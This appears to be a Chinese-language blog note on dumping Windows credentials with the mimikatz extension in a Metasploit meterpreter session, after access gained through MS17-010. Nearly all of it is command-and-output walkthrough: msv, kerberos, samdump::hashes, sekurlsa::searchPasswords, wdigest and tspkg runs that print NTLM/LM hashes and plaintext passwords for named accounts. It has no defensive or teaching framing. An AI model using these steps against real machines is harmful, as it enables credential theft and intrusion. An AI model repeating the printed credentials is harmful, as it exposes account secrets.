kali这方面不说了, meterpreter也略过, 做个关于mimikatz的笔记.
mimikatz模块, 能获取对方机器的密码(包括哈希和明文).
渗透模块怎么进的也不说了, 方式太多, 我用的是ms17-010
进去meterpreter后getuid一下(其他这个也没多大用处,军哥说进入meterpreter模式下 大部分情况下是拥有 system权限,无需 get system,但可能有些 权限管理严的 不一样)
meterpreter > getuid Server username: NT AUTHORITYSYSTEM
这获得系统管理员权限
加载mimikatz模块
meterpreter > load mimikatz Loading extension mimikatz...Success.
加载成功.
获取登录密码的hash值
meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;334101 NTLM chenglee-PC chenglee lm{ 9cffd5e7eefa14babacbf0b4adf55fde }, ntlm{ 8d0f8e1a18236379538411a9056799f5 } 0;334068 NTLM chenglee-PC chenglee lm{ 9cffd5e7eefa14babacbf0b4adf55fde }, ntlm{ 8d0f8e1a18236379538411a9056799f5 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;996 Negotiate WORKGROUP CHENGLEE-PC$ n.s. (Credentials KO) 0;49101 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP CHENGLEE-PC$ n.s. (Credentials KO)
上面已经是得到hash值了. 下面算明文密码.
获取明文密码
meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP CHENGLEE-PC$ 0;49101 NTLM 0;999 NTLM WORKGROUP CHENGLEE-PC$ 0;334101 NTLM chenglee-PC chenglee lizhenghua 0;334068 NTLM chenglee-PC chenglee lizhenghua
look...拿到登录的明文密码了.
不过也有一些特殊的情况, 例如这样
meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;10408969 NTLM CLOUDVM Administrator 0;266228 NTLM CLOUDVM Administrator 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP CLOUDVM$ 0;23595 NTLM 0;999 NTLM WORKGROUP CLOUDVM$
噢, 这是什么鬼儿...哈希值也获取不到,
没事, 下一步继续,
使用另一种方式获取哈希值
meterpreter > mimikatz_command -f samdump::hashes Ordinateur : chenglee-PC BootKey : 0648ced51b6060bed1a3654e0ee0fd93 Rid : 500 User : Administrator LM : NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Rid : 501 User : Guest LM : NTLM : Rid : 1000 User : chenglee LM : NTLM : 8d0f8e1a18236379538411a9056799f5
ok, 获取到了,
根据上面的方式获取明文密码
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { chenglee ; chenglee-PC ; lizhenghua }
[1] { chenglee ; chenglee-PC ; lizhenghua }
[2] { chenglee ; chenglee-PC ; lizhenghua }
[3] { chenglee ; chenglee-PC ; lizhenghua }
[4] { chenglee-PC ; chenglee ; lizhenghua }
[5] { chenglee-PC ; chenglee ; lizhenghua }
meterpreter >
2
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; CLOUDVM ; 1244567 }
[1] { Administrator ; CLOUDVM ; 1244567 }
都拿到了
另外提一下更简洁的方式,就是 wdigest命令了,
这个命令呢, 没有上面的复杂,加载模块后直接调用这个wdigest.
meterpreter > wdigest [+] Running as SYSTEM [*] Retrieving wdigest credentials wdigest credentials =================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP CHENGLEE-PC$ 0;49101 NTLM 0;999 NTLM WORKGROUP CHENGLEE-PC$ 0;334101 NTLM chenglee-PC chenglee lizhenghua 0;334068 NTLM chenglee-PC chenglee lizhenghua
还有一个跟wdigest一样牛的就是tspkg啦
meterpreter > tspkg [+] Running as SYSTEM [*] Retrieving tspkg credentials tspkg credentials ================= AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP CHENGLEE-PC$ 0;49101 NTLM 0;999 NTLM WORKGROUP CHENGLEE-PC$ 0;334101 NTLM chenglee-PC chenglee lizhenghua 0;334068 NTLM chenglee-PC chenglee lizhenghua
简直就是一击毙命有木有...